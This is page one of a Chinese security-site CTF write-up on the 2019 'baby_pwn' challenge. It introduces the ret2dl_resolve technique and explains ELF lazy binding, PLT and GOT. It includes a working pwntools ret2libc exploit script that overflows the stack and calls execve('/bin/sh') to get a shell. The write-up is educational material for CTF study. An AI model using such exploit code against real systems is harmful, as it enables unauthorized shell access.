欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

高级ROP:Ret2dl_resolve技术详解

来源:本站整理 作者:佚名 时间:2019-04-29 TAG: 我要投稿

概述:一道简单的pwn题引出的一种构造非常复杂ROP技巧—ret2dl_resolve。本文将从原理的角度,解析ELF文件以及其延迟绑定的原理,深入解析这一种技术。
题目来源->
19年全国大学上信息安全大赛:baby_pwn
https://www.ctfwp.com/articals/2019national.html
题目分析
查看ELF的版本,发现是32位的
$file pwn

把程序丢入IDA分析。发现有非常明显的栈溢出。


构建 offset=”A”*2c就能获得完全的栈控制。
一开始看到这么结构这么简单的题目,名字还叫baby_pwn,以为碰到了入门题(白眼)
决定使用Ret2LIbc直接拿shell
本地验证:(ASLR is off)
----------------------exp1.py----------------------------
from pwn import *
#p=remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com",33865)
p=process('./pwn')
libc=ELF('./libc-2.23.so')
#gdb.attach(p)
#local
libc_base=0xf7dfd000
system_off=libc.symbols['system']
execve_off=libc.symbols['execve']
shell_off=next(libc.search('/bin/sh'))
execve_addr=libc_base+execve_off
shell_address=libc_base+shell_off
payload="A"*(0x30-4)
payload+=p32(execve_addr)
payload+=p32(0)
payload+=p32(shell_address)
payload+=p32(0)
payload+=p32(0)
p=process('./pwn')
p.sendline(payload)
p.interactive()
本地拿到了shell,但是远程溢出失败了。
但是也是在预料之中,国赛怎么会让我这么容易拿到shell呢。
总结发现,问题在于->
1.本地调试是知道libc版本,远程服务器不知道libc版本
2.即使知道libc版本,能计算出execve和已知函数的偏移,服务器开着ASLR必须用rop才能计算出基地址。但是本地代码中却不存在write/puts这样的函数,却没有办法构造ROP链。
刚开始唯一的想法是通过爆破法,强行爆破libc的基地址。(在已知libc版本情况下比较好实现。)但是最后也没有爆破出来。#后来大佬说是爆破syscall的位置,有空去验证。
后来经过大佬指点,这种没有构造ROP链接的基础函数,虽然没有write/put函数来构造rop,但是能够通过一种叫做ret2dl-resolve的技术,来构造rop。遂去研究。
 
Ret2dl_resolve解析
Ret2dl_resolve本质上也是ROP,只不过使用的是更加底层的技术:
ELF在动态链接加载的过程中有一种延迟绑定的机制,程序通过函数dl_runtime_resolve (link_map_obj, reloc_index)来进行对函数进行重定位。虽然重定位过程很复杂,但是最终还是依靠符号表来确定导入函数,如果能在这个过程中影响符号表的读取,就有可能将任意函数重定位为我们需要的函数。
在学习这种利用技术之前,需要掌握以下几点,
1.必须要对ELF有一定的了解。否则会很难理解。
2.基本ROP技术,stack povit控制栈帧技巧。
掌握好以上的基础,就让我们开始吧。
理解ELF
在这里先安利一本书《程序员的自我修养》,里面对ELF和PE以及动态链接都有非常深入地解析。
本一些没有细讲的部分都能在这本书里找到答案。
首先我们需要掌握一些命令,方便学习ELF结构
$readelf -h -r pwn #-h查看头信息 -r查看重定位表
$objdump -s -d  -h pwn  #-s查看十六进制信息 -d 查看代码段反汇编信息 -h查看段信息
分析pwn文件
观察一下文件头:#$readelf -h pwn

开头的魔数(Magic)以及一些基本文件信息就先不看。
先看几个与这次漏洞相关的数据。
因为段是我们这次研究的重点。
所以先找到Start of section headers位置,这个位置记录了段表距离文件头偏移6320字节。
节头大小为40字节,一般等于sizeof(Elf32_Shdr)
结头数量31,等于ELF拥有的段的数量。
理解延迟绑定(PLT)
让我们在调试程序的时候理解这个过程。
$ objdump -d pwn | grep read #查询plt段中read的地址
08048390 read@plt>:
 8048541:    e8 4a fe ff ff           call   8048390 read@plt>
gdb下断点 b *0x8048390
第一次调用read函数:
进入read.plt,发现跳转到ds:0x804a00c->实际上就是Got表中存放read函数的地址
$ objdump -R pwn #查看Got表
0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0
一般来说GOT表地址存储的就是函数的地址,
但是为什么第一次调用函数,程序却跳转到0x8048396呢?

查看一下GOT表的内存就很清楚了,此时的GOT表中没有存放read的真实地址。
而是将程序调回去。(典型的甩锅?)
$ x/10xw 0x804a00c
0x804a00c:    0x08048396    0xf7ead270    0xf7e15540    0xf7e5d36
实际上当程序第一次调用这个函数的时候,GOT表中还没有存放函数的地址。需要返plt回利用其进行重定位。

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.ylxj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载